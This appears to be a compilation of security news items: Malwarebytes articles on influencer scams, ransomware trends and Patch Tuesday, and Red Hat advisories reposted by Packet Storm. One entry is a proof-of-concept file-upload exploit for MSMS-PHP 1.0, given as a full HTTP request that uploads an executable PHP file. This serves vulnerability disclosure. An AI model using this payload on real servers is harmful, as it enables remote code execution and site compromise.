Social media influencers are attractive targets for identity thefs. Not just for their bank accounts but also to influence their followers

Social media influencers are attractive targets for identity thieves. With large followings and a literal influence on their followers, it’s no wonder they are targeted by scammers and spreaders of fake news.

A subset of influencers are the so-called “finfluencers”: influencers that provide their followers with financial advice. Such a person influences the financial investment decisions of their followers by doling out advice or recommendations. This comes in the form of get-rich-quick schemes, cryptocurrency related advice, stock investment, financial planning, or just about anything people can do to make money.

On the platforms that matter these days, like YouTube, TikTok and Instagram, the number of followers of some of the well-known finfluencers far exceeds the numbers of followers of some of the biggest broking houses. In May of 2023, India banned a YouTube finfluencer with over a million followers from the securities markets for a year for allegedly providing advisory services—daily stock investment/trading calls—without registering with the regulator.

With enough followers that heed their advice, these finfluencers also can have an effect on the financial markets. With enough demand, prices go up and if you know that’s going to happen, making money is indeed easy.

And as an exit scam in which you make one big whopper and then disappear, that’s a very profitable strategy. But most influencers are in it for the long run and don’t want to ruin the reputation they built. Unless their account falls into the wrong hands.

In October of 2023, the Federal Trade Commission warned people with a lot of social media followers they might be the target of scammers. These scammers would come up with fake job offers of offering to pay them for product promotion as “brand ambassadors.” But in reality the scammers are after personal and financial information.

Typically, the scammers say they’ll send you free products and pay you large amounts of money to promote those products in your social media posts. All you have to do is to accept the offer and give them your personal and banking information so they can pay you.

What the scammers are really after can vary from cleaning out the influencers’ bank accounts to taking over their social media accounts. “If you provide us with your login credentials, you don’t have to do the work, we’ll post the promotional content ourselves.”

The scammers will then leave the influencer behind with an account that has a bad reputation and lost a good part of its followers.

Some good news might come from the regulation side. The governments of ten nations have called on social media operators to improve their ability to detect and prevent fraud on their platforms. Australia, Canada, France, Germany, Italy, Japan, New Zealand, the Republic of Korea, Singapore, the United Kingdom, and the United States did this because:

> “Fraudsters operate at scale, exploiting telecommunications networks, cyberspace and a population that spends an increasing amount of time online.”

In a communiqué issued as a result of the Global Fraud Summit, which also included representatives from INTERPOL, the Financial Action Task Force, the UN Office on Drugs and Crime, and the European Union, the partakers listed 29 action points that should help reduce online fraud.

It will be hard to accomplish this goal but as we have seen, similar actions led to a promising decline in robocalls. Australia also reported progress towards their vision of making Australia the world’s hardest target for scammers with, for example, a 38% decrease in losses due to investment scams.

**What can influencers do to protect themselves**

*   Always assume that if it’s too good to be true, then it’s probably not true.
*   Never give out your personal or financial information without doing proper research first.
*   Contact the company directly to confirm the offer. Use a phone number or contact method you know to be legitimate.
*   Check if the person contacting you is using an email address that’s affiliated with the company they claim to represent.
*   Don’t let any person or app create posts on social media on your behalf.
*   Don’t let scammers rush you into decisions. They will always claim it’s urgent or you need to act fast.

**Check your digital footprint**

If you want to find out how much of your data has been exposed online, you can try our free Digital Footprint scan. Fill in the email address you’re curious about (it’s best to submit the one you most frequently use) and we’ll send you a free report.

**We don’t just report on threats – we help protect your social media**

Cybersecurity risks should never spread beyond a headline. Protect your social media accounts by using Cyrus, powered by Malwarebytes.

 Social media influencers targeted by identity thieves 

The US healthcare industry suffers more ransomware attacks than most countries.

Following the February 21 attack on Change Healthcare, scores of people in the US have been living with the brutal, real-world effects of ransomware.

Described by the American Hospital Association (AHA) President and CEO Rick Pollack as “the most significant and consequential incident of its kind against the US health care system in history,” the attack has stopped billions of dollars in payments flowing between doctors, hospitals, pharmacies and insurers. It has also created skyrocketing pharmacy bills, pushed some healthcare providers to the edge of insolvency, and led some small practices offering chemotherapy to warn that they are just weeks from turning patients away.

There are thousands of “big game” ransomware attacks like this every year—large scale cyberattacks that can bring entire organisations to a halt. They are always damaging and they always cause pain, but when they hit the healthcare system, the consequences—particularly the risk to life—are often more immediately obvious and shocking.

From time to time individual ransomware gangs will grandstand and say they don’t or won’t hit hospitals, but the truth is that healthcare has always been a major target.

Only three weeks ago, the Cybersecurity and Infrastructure Security Agency (CISA) issued a warning that ALPHV, the ransomware group behind the attack on Change Healthcare, was singling out targets in that sector, saying that “since mid-December 2023, of the nearly 70 leaked victims, the healthcare sector has been the most commonly victimized.”

ALPHV is just one gang among many targeting the sector. In the last 12 months, known ransomware attacks on US targets have increased an enormous 101% year-on-year, but attacks on healthcare have outpaced even that, increasing 137%.

70% of all known attacks on healthcare happen in the US.

This relentless assault has made healthcare the second most attacked sector in the US, where it accounts for 9% of known attacks. In the same period, healthcare accounted for just 3% of known attacks in the rest of the world.

The stark difference between the US and everywhere else may reflect the enormous size of the US healthcare market, or it could be the result of deliberate targeting.

Screenshot

Screenshot

Given its unmatched global footprint, it’s no suprise that LockBit was responsible for more attacks on US healthcare than any other ransomware group in the last year. LockBit is the most widely used ransomware in the world, and tops the list of most active groups across a wide variety of different countries and industry sectors. What is most striking about attacks on US healthcare though is the number of different gangs involved.

In the last year, 36 different ransomware groups are known to have attacked US healthcare targets, and, unusually, the combined contribution of gangs making just a few attacks each vastly outweighs the efforts of big gangs like LockBit and ALPHV.

It’s easy to see why so many ransomare gangs might be drawn to the sector: US healthcare companies are custodians of people’s most private data, guardians of their health, and part of a marketplace worth trillions of dollars. In other words, healthcare isn’t just another industry sector, either for the people who use it, or the people who prey on it. It is a special case, and there is an argument for saying that attacks on organisations like Change Healthcare should be treated like an attack on critical infrastructure.

The last attack on US critical infrastructure, against Colonial Pipeline in 2021, was met with an immediate and ferocious response. Within a month, the FBI had recovered the vast majority of the ransom. The gang behind it, DarkSide, lost control of its infrastructure to US law enforcement (and possibly US military) before going dark, and was quickly hounded out of existence by the FBI after it attempted to remerge and rebrand as BlackMatter.

Knowing that, perhaps it’s not a surprise that the attack on Change Healthcare was one of the ALPHV gang’s last acts before it disappeared in a sloppily exectuted exit scam.

**How to avoid ransomware**

*   **Block common forms of entry.** Create a plan for patching vulnerabilities in internet-facing systems quickly; and disable or harden remote access like RDP and VPNs.
*   **Prevent intrusions.** Stop threats early before they can even infiltrate or infect your endpoints. Use endpoint security software that can prevent exploits and malware used to deliver ransomware.
*   **Detect intrusions.** Make it harder for intruders to operate inside your organization by segmenting networks and assigning access rights prudently. Use EDR or MDR to detect unusual activity before an attack occurs.
*   **Stop malicious encryption.** Deploy Endpoint Detection and Response software like ThreatDown EDR that uses multiple different detection techniques to identify ransomware, and ransomware rollback to restore damaged system files.
*   **Create offsite, offline backups.** Keep backups offsite and offline, beyond the reach of attackers. Test them regularly to make sure you can restore essential business functions swiftly.
*   **Don’t get attacked twice.** Once you’ve isolated the outbreak and stopped the first attack, you must remove every trace of the attackers, their malware, their tools, and their methods of entry, to avoid being attacked again.

Our business solutions remove all remnants of ransomware and prevent you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

 Ransomware&#8217;s appetite for US healthcare sees known attacks double in a year 

Red Hat Security Advisory 2024-1327-03 - An update for the gimp:2.8 module is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support, Red Hat Enterprise Linux 8.2 Telecommunications Update Service, and Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions. Issues addressed include a buffer overflow vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1327.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: gimp:2.8 security updateAdvisory ID:        RHSA-2024:1327-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1327Issue date:         2024-03-14Revision:           03CVE Names:          CVE-2023-44442====================================================================Summary: An update for the gimp:2.8 module is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support, Red Hat Enterprise Linux 8.2 Telecommunications Update Service, and Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The GIMP (GNU Image Manipulation Program) is an image composition and editing program. GIMP provides a large image manipulation toolbox, including channel operations and layers, effects, sub-pixel imaging and anti-aliasing, and conversions, all with multi-level undo.Security Fix(es):* gimp: PSD buffer overflow RCE (CVE-2023-44442)* gimp: psp off-by-one RCE (CVE-2023-44444)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-44442References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2249942https://bugzilla.redhat.com/show_bug.cgi?id=2249946

Red Hat Security Advisory 2024-1327-03

Microsoft patched 61 vulnerabilities in the March 2024 Patch Tuesday round, including two critical flaws in Hyper-V.

The March 2024 Patch Tuesday update includes patches for 61 Microsoft vulnerabilities. Only two of the vulnerabilities are rated critical and both of these are found in Windows Hyper-V.

Hyper-V is a hardware virtualization product that allows you to run multiple operating systems as virtual machines (VMs) on Windows. A virtual machine is a computer program that emulates a physical computer. A physical “host” computer can run multiple separate “guest” VMs that are isolated from each other, and from the host. The physical resources of the host are allocated to the VMs by a software layer called the hypervisor, which acts an intermediary between the host and guests.

The Common Vulnerabilities and Exposures (CVE) database lists publicly disclosed computer security flaws. The Hyper-V CVEs patched in this round of updates are:

CVE-2024-21407 is a Windows Hyper-V Remote Code Execution (RCE) vulnerability with a CVSS score of 8.1 out of 10. Microsoft says exploitation is less likely since this vulnerability would require an authenticated attacker on a guest to send specially crafted file operation requests to hardware resources on the VM which could result in remote code execution on the host server.

This means the attacker would need a good deal of information about the specific environment, and to take additional actions prior to exploitation to prepare the target environment.

CVE-2024-21408 is a Windows Hyper-V Denial of Service (DOS) vulnerability with a CVSS score of 5.5 out of 10. This means an attacker could target a host machine from a guest and cause it to crash or stop functioning. However, Microsoft did not provide any additional details on how this DOS could occur.

The attention for Hyper-V is remarkable since only a week earlier, VMware released security updates to fix critical sandbox escape vulnerabilities in VMware ESXi, Workstation, Fusion, and Cloud Foundation. VMware ESXi and Hyper-V are both designed to handle large-scale virtualization deployments.

Another vulnerability worth mentioning is CVE-2024-21334, which has a CVSS score of 9.8 out of 10. It’s an Open Management Infrastructure (OMI) RCE vulnerability that affects System Center Operations Manager (SCOM). SCOM is a set of tools in Microsoft’s System Center for infrastructure monitoring and application performance management. A remote, unauthenticated attacker could exploit this vulnerability by accessing the OMI instance from the internet and sending specially crafted requests to trigger a use-after-free vulnerability.

OMI is an open source technology for environment management software products for Linux and Unix-based systems. The OMI project was set up to implement standards-based management so that every device in the world can be managed in a clear, consistent, and coherent way.

Use-after-free vulnerabilities are the result of the incorrect use of dynamic memory during a program’s operation. If, after freeing a memory location, a program does not clear the pointer to that memory, an attacker can exploit the error to manipulate the program. Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

Microsoft states that if the Linux machines do not need network listening, OMI incoming ports can be disabled. In other cases, customers running affected versions of SCOM (System Center Operations Manager 2019 and 2022) should update to OMI version 1.8.1-0.

**Other vendors**

Other vendors have synchronized their periodic updates with Microsoft. Here are few major ones that you may find in your environment.

**Adobe** has released security updates to address vulnerabilities in several products:

*   Adobe Experience Manager
*   Adobe Premiere Pro
*   Adobe ColdFusion
*   Adobe Bridge
*   Adobe Lightroom
*   Adobe Animate

The **Android** Security Bulletin for February contains details of security vulnerabilities for patch level 2024-03-05 or later.

**Apple** has released a security update for iOS and iPadOS to patch two zero-day vulnerabilities

**SAP** has released its March 2024 Patch Day updates.

**We don’t just report on vulnerabilities—we identify them, and prioritize action.**

Cybersecurity risks should never spread beyond a headline. Keep vulnerabilities in tow by using ThreatDown Vulnerability and Patch Management.

 Microsoft Patch Tuesday March 2024 includes critical Hyper-V flaws 

MSMS-PHP version 1.0 suffers from a remote shell upload vulnerability.

    ## Title: MSMS-PHP (by: oretnom23 ) v1.0 File Upload - RCE browser using## Author: nu11secur1ty## Date: 03/13/2024## Vendor: https://github.com/oretnom23## Software: https://www.sourcecodester.com/php/14924/online-mobile-store-management-system-using-php-free-source-code.html## Reference: https://portswigger.net/web-security/file-upload## Description:The upload function and id=cimg parameter are not sanitizing correctly!The attacker can upload any PHP file which he can execute directly onthe server!STATUS: HIGH-CrITICAL Vulnerability[+]Payload:```POSTPOST /mobile_store/classes/SystemSettings.php?f=update_settings HTTP/1.1Host: localhostContent-Length: 6318sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"Accept: application/json, text/javascript, */*; q=0.01Content-Type: multipart/form-data;boundary=----WebKitFormBoundarypV7nBYU4nAonvWelX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://localhostSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost/mobile_store/admin/?page=system_infoAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=b6i4kegv7jonjlu44gtuo8i4dgConnection: close------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="name"Mobile Store Management System - PHP------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="short_name"MSMS-PHP------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="about_us"<p style="text-align: center; margin-right: 0px; margin-bottom: 0px;margin-left: 0px; padding: 0px; font-family: DauphinPlain; font-size:70px; line-height: 90px;">About Us</p><hr style="margin: 0px; padding:0px; clear: both; border-top: 0px; height: 1px; background-image:linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.75),rgba(0, 0, 0, 0));"><div id="Content" style="margin: 0px; padding:0px; position: relative;"><div id="bannerL" style="margin: 0px 0px 0px-160px; padding: 0px; position: sticky; top: 20px; width: 160px;height: 10px; float: left; text-align: right; color: rgb(0, 0, 0);font-family: "Open Sans", Arial, sans-serif; font-size: 14px;background-color: rgb(255, 255, 255);"></div><div id="bannerR"style="margin: 0px -160px 0px 0px; padding: 0px; position: sticky;top: 20px; width: 160px; height: 10px; float: right; color: rgb(0, 0,0); font-family: "Open Sans", Arial, sans-serif; font-size: 14px;background-color: rgb(255, 255, 255);"></div><div class="boxed"style="margin: 10px 28.7969px; padding: 0px; clear: both; color:rgb(0, 0, 0); font-family: "Open Sans", Arial, sans-serif; font-size:14px; text-align: center; background-color: rgb(255, 255, 255);"><divid="lipsum" style="margin: 0px; padding: 0px; text-align:justify;"></div></div></div><p style="margin-right: 0px;margin-bottom: 15px; margin-left: 0px; padding: 0px;">Lorem ipsumdolor sit amet, consectetur adipiscing elit. Nullam non ultricestortor. Sed at ligula non lectus tempor bibendum a nec ante. Maecenasiaculis vitae nisi eu dictum. Duis sit amet enim arcu. Etiam blanditvulputate magna, non lobortis velit pharetra vel. Morbi sollicitudinlorem sed augue suscipit, eu commodo tortor vulputate. Interdum etmalesuada fames ac ante ipsum primis in faucibus. Pellentesquehabitant morbi tristique senectus et netus et malesuada fames acturpis egestas. Praesent eleifend interdum est, at gravida eratmolestie in. Vestibulum et consectetur dui, ac luctus arcu. Curabituret viverra elit. Cras ac eleifend ipsum, ac suscipit leo. Vivamusporttitor ac risus eu ultricies. Morbi malesuada mi vel luctussagittis. Ut vestibulum porttitor est, id rutrum libero. Mauris atlacus vehicula, aliquam purus quis, pharetra lorem.</p><pstyle="margin-right: 0px; margin-bottom: 15px; margin-left: 0px;padding: 0px;">Proin consectetur massa ut quam molestie porta. Donecsit amet ligula odio. Class aptent taciti sociosqu ad litora torquentper conubia nostra, per inceptos himenaeos. Morbi ex sapien, pulvinarac arcu at, luctus scelerisque nibh. In dolor velit, pellentesque eublandit a, mollis ac neque. Fusce tortor lectus, aliquam et eleifendid, aliquet ut libero. Nunc scelerisque vulputate turpis quisvolutpat. Vivamus malesuada sem in dapibus aliquam. Vestibulumimperdiet, nulla vitae pharetra pretium, magna felis placerat libero,quis tincidunt felis diam nec nisi. Sed scelerisque ullamcorpercursus. Suspendisse posuere, velit nec rhoncus cursus, urna sapienconsectetur est, et lacinia odio leo nec massa. Nam vitae nunc vitaetortor vestibulum consequat ac quis risus. Sed finibus pharetra orci,id vehicula tellus eleifend sit amet.</p><p style="margin-right: 0px;margin-bottom: 15px; margin-left: 0px; padding: 0px;">Morbi id antevel velit mollis egestas. Suspendisse pretium sem urna, vitae placeratturpis cursus faucibus. Ut dignissim molestie blandit. Phaselluspulvinar, eros id ultricies mollis, lectus velit viverra mi, atvenenatis velit purus id nisi. Duis eu massa lorem. Curabitur sed nibhfelis. Donec faucibus, nulla at faucibus blandit, mi justo efficiturdui, non mattis nisl purus non lacus. Maecenas vel congue tellus, inconvallis nisi. Curabitur faucibus interdum massa, eu facilisis ligulapretium quis. Nunc eleifend orci nec volutpat tincidunt.</p><pstyle="margin-right: 0px; margin-bottom: 15px; margin-left: 0px;padding: 0px;">Ut et urna sapien. Nulla lacinia sagittis felis idcursus. Etiam eget lacus quis enim aliquet dignissim. Nulla vel elitultrices, venenatis quam sed, rutrum magna. Pellentesque ultricies nonlorem hendrerit vestibulum. Maecenas lacinia pharetra nisi, atpharetra nunc placerat nec. Maecenas luctus dolor in leo malesuada,vel aliquet metus sollicitudin. Curabitur sed pellentesque sem, intincidunt mi. Aliquam sodales aliquam felis, eget tristique felisdictum at. Proin leo nisi, malesuada vel ex eu, dictum pellentesquemauris. Quisque sit amet varius augue.</p><p style="margin-right: 0px;margin-bottom: 15px; margin-left: 0px; padding: 0px;">Sed quisimperdiet est. Donec lobortis tortor id neque tempus, vel faucibuslorem mollis. Fusce ut sollicitudin risus. Aliquam iaculis tristiquenunc vel feugiat. Sed quis nulla non dui ornare porttitor eu vitaenisi. Curabitur at quam ut libero convallis mattis vel eget mauris.Vivamus vitae lectus ligula. Nulla facilisi. Vivamus tristique maximusnulla, vel mollis felis blandit posuere. Curabitur mi risus, rutrumnon magna at, molestie gravida magna. Aenean neque sapien, volutpat aullamcorper nec, iaculis quis est.</p>------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="files"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="privacy_policy"<p>Sample Privacy Policy<br></p>------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="files"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="img"; filename="info.php"Content-Type: application/octet-stream<?php  phpinfo();?>------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="cover"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="banners[]"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWel--```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2024/MSMS-PHP(by%3Aoretnom23)v1.0/FU)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/03/msms-php-by-oretnom23-v10-file-upload.html)## Time spent:00:05:00

MSMS-PHP 1.0 Shell Upload

Red Hat Security Advisory 2024-1305-03 - An update for edk2 is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service. Issues addressed include a buffer overflow vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1305.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: edk2 security updateAdvisory ID:        RHSA-2024:1305-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1305Issue date:         2024-03-13Revision:           03CVE Names:          CVE-2023-45234====================================================================Summary: An update for edk2 is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:EDK (Embedded Development Kit) is a project to enable UEFI support for VirtualMachines. This package contains a sample 64-bit UEFI firmware for QEMU and KVM.Security Fix(es):* edk2: Buffer overflow when processing DNS Servers option in a DHCPv6 Advertise message (CVE-2023-45234)Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-45234References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2258697

Red Hat Security Advisory 2024-1305-03

Red Hat Security Advisory 2024-1278-03 - An update for kpatch-patch is now available for Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions. Issues addressed include out of bounds write and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1278.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: kpatch-patch security update  
Advisory ID:        RHSA-2024:1278-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1278  
Issue date:         2024-03-12  
Revision:           03  
CVE Names:          CVE-2023-3390  
====================================================================

Summary: 

An update for kpatch-patch is now available for Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

This is a kernel live patch module which is automatically loaded by the RPM post-install script to modify the code of a running kernel.

Security Fix(es):

* kernel: ktls overwrites readonly memory pages when using function splice with a ktls socket as destination (CVE-2024-0646)

* kernel: use-after-free in sch_qfq network scheduler (CVE-2023-4921)

* kernel: IGB driver inadequate buffer size for frames larger than MTU (CVE-2023-45871)

* kernel: use after free in nvmet_tcp_free_crypto in NVMe (CVE-2023-5178)

* kernel: net/sched: sch_hfsc UAF (CVE-2023-4623)

* kernel: net/sched: sch_qfq component can be exploited if in qfq_change_agg function happens qfq_enqueue overhead (CVE-2023-3611)

* kernel: nf_tables: stack-out-of-bounds-read in nft_byteorder_eval() (CVE-2023-35001)

* kernel: UAF in nftables when nft_set_lookup_global triggered after handling named and anonymous sets in batch requests (CVE-2023-3390)

* kernel: out-of-bounds write in qfq_change_class function (CVE-2023-31436)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-3390

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2192671  
https://bugzilla.redhat.com/show_bug.cgi?id=2213260  
https://bugzilla.redhat.com/show_bug.cgi?id=2220892  
https://bugzilla.redhat.com/show_bug.cgi?id=2225191  
https://bugzilla.redhat.com/show_bug.cgi?id=2237757  
https://bugzilla.redhat.com/show_bug.cgi?id=2241924  
https://bugzilla.redhat.com/show_bug.cgi?id=2244723  
https://bugzilla.redhat.com/show_bug.cgi?id=2245514  
https://bugzilla.redhat.com/show_bug.cgi?id=2253908

Red Hat Security Advisory 2024-1278-03

February 2024 is likely to be remembered as one of the most turbulent months in ransomware history.

_This article is based on research by Marcelo Rivero, Malwarebytes’ ransomware specialist, who monitors information published by ransomware gangs on their Dark Web sites. In this report, “known attacks” are those where the victim **did not** pay a ransom. This provides the best overall picture of ransomware activity, but the true number of attacks is far higher._

In February, there were 376 ransomware victims, marking an unusually active month for the historically subdued time period. But February didn’t just bring unprecedented numbers, but unprecedented developments as well: law enforcement shut down LockBit, the largest ransomware gang, while ALPHV, the second-largest, appeared to fake its demise and abscond with its own affiliates’ funds.

Before we dive into the two biggest stories of the month, however, let’s start with a quick overview of other significant ransomware developments, including a new Coveware report revealing a record low of 29% of victims paying ransoms in the last quarter of 2023.

A few years ago, paying ransomware attackers was almost a given—85% of hit organizations in early 2019 felt they had no choice. But fast forward to 2024, and Coveware data suggests that that trend has completely reversed—not only have the number of victims paying dropped but so have the dollar amounts of actual ransom payments. In other words, we’re seeing fewer and smaller ransomware payouts than ever before. 

At first glance, the trend appears counterintuitive: with global ransomware attacks hitting record highs annually, one might expect a proportional increase in the number of victims choosing to pay a ransom. But as it turns out, all the attention on ransomware is effectively shooting attackers in the foot: the more these attacks make headlines, the more businesses understand ransomware as a prime threat, leading to improved security measures that can allow victims to recover from an attack without paying a ransom. Also discouraging payments are increasing doubts about cybercriminals’ reliability and stricter anti-ransom laws.

But all of this begs the question: with fewer payments, will ransomware gangs adapt their strategies to remain a threat, or will the decrease in successful ransoms lead to a decline in attacks as they seek more lucrative avenues? Will ransomware attacks always remain profitable, albeit less so over time? The report raises just about as many questions as it answers. 

Our prediction? Ransomware gangs aren’t backing down any time soon; in fact, they’ll likely continue getting more inventive in pressuring companies to pay up. Our coverage on “big game ransomware” showed ransomware gangs aren’t just hiking up demands when companies resist paying, they’re also turning to more aggressive tactics. “Threats to leak data, sell it online, break other parts of the business, attack related firms, or even harass employees are all tactics gangs can make use of” to force reluctant businesses to pay, writes former Malwarebytes Labs author Christopher Boyd.

In other words, despite fewer companies paying up, we foresee ransomware attackers compensating with higher ransom demands and more sophisticated, aggressive negotiation tactics.

Known ransomware attacks by gang, February 2024

Known ransomware attacks by country, February 2024

Known ransomware attacks by industry sector, February 2024

In other February news, new reports highlighted ALPHV’s surge of targeted attacks against the healthcare sector. Coincidentally, a day after these reports were published, there was news of ALPHV’s severe attack on Change Healthcare, one of the largest healthcare technology companies in the US.

The report indicated that since mid-December 2023, out of nearly 70 leaked victims, the healthcare sector has been ALPHV’s most frequent target. This seems to be a response to the ALPHV Blackcat administrator’s encouragement for its affiliates to target hospitals following actions against the group and its infrastructure in early December 2023.

The Roman historian Tacitus once said, “Crime, once exposed, has no refuge but in audacity.” Well, the exposure of ALPHV’s crimes has seemingly emboldened them further, pushing them to undertake even more brazen acts of revenge against the very institutions aiming to curb their criminal activities. At the end of the day, ALPHV’s actions are unsurprisingly petty, pointless, and endanger human lives, but they at the very least they hint at the group’s last desperate gasps for relevance.

On the vulnerability front, ransomware gangs like Black Basta, Bl00dy, and LockBit were seen exploiting vulnerabilities in ConnectWise ScreenConnect last month that exposed servers to control by attackers. It appears that almost every other month, our ransomware reviews uncover a new vulnerability being exploited with great success—whether it was MOVEit in the summer of 2023 or Citrix Bleed at the end of 2023. The vulnerabilities in ScreenConnect are once again part of this broader trend we’ve noticed of ransomware gangs finding ever-new points of entry—perhaps even more quickly and extensively than in previous years.

**LockBit down, ALPHV out**

February 2024 is likely to be remembered for years as the month when two of the most dangerous ransomware gangs in the world suffered some serious turbulence.

LockBit has been the preeminent ransomware menace since the demise of Conti in spring 2022, but for the first time there are serious reasons to doubt its status and longevity. On February 19, the ransomware gang’s dark web site announced “This site is now under the control of The National Crime Agency of the UK, working in close cooperation with the FBI and the international law enforcement task force, ‘Operation Cronos’.”

What followed was something quite unique in the annals of ransomware takedowns. Alongside the usual dry press releases, the law enforcement agencies responsible used the site it had acquired to showcase the details of what it had done.

The LockBit dark web site was subverted by law enforcement

It was an act of exquisite trolling that looked designed to damage the LockBit brand by humiliating it in the eyes of its peers and affiliates.

There was substance to the disruption too—some arrests, “a vast amount of intelligence” gathered, infrastructure seized, cryptocurrency accounts frozen, decryption keys captured, and the revelation that LockBit administrator LockBitSupp “has engaged with law enforcement.”

LockBit quickly established a new site and insisted everything was fine in exactly the way that people do when things aren’t fine, by releasing a stream of concious 3,000-word essay that explained precisely how fine things were, thanks. It remains to be seen if LockBit’s rebound will last. When ransomware gangs start to feel the hot breath of law enforcement on their neck a rebrand normally follows.

LockBit’s main rival, ALPHV, used February to demonstrate an alternative ending. It decided to leave the ransomware world behind by ripping off its own customers (which are really just affiliates in crime) in a sloppily executed exit scam. ALPHV had suffered its own brush with law enforcement in December and, like LockBit, appeared to have recovered.

Perhaps it was spooked by its brush with the feds, or perhaps the $22 million ransom an affiliate extracted from its devastating attack on Change Healthcare was just too hard to resist. Whatever the reason, ALPHV cut and ran, taking the cash and leaving its criminal affiliates high and dry. A half-hearted attempt to pin the blame for its disappearance on the FBI fooled no one.

The ALPHV gang faked a law enforcement seizure of its website

**Preventing Ransomware**

Fighting off ransomware gangs like the ones we report on each month requires a layered security strategy. Technology that preemptively keeps gangs out of your systems is great—but it’s not enough. 

Ransomware attackers target the easiest entry points: an example chain might be that they first try phishing emails, then open RDP ports, and if those are secured, they’ll exploit unpatched vulnerabilities. Multi-layered security is about making infiltration progressively harder and detecting those who do get through. 

Technologies like Endpoint Protection (EP) and Vulnerability and Patch Management (VPM) are vital first defenses, reducing breach likelihood. 

The key point, though, is to assume that motivated gangs will eventually breach defenses. Endpoint Detection and Response (EDR) is crucial for finding and removing threats before damage occurs. And if a breach does happen—ransomware rollback tools can undo changes.

****How ThreatDown Addresses Ransomware****

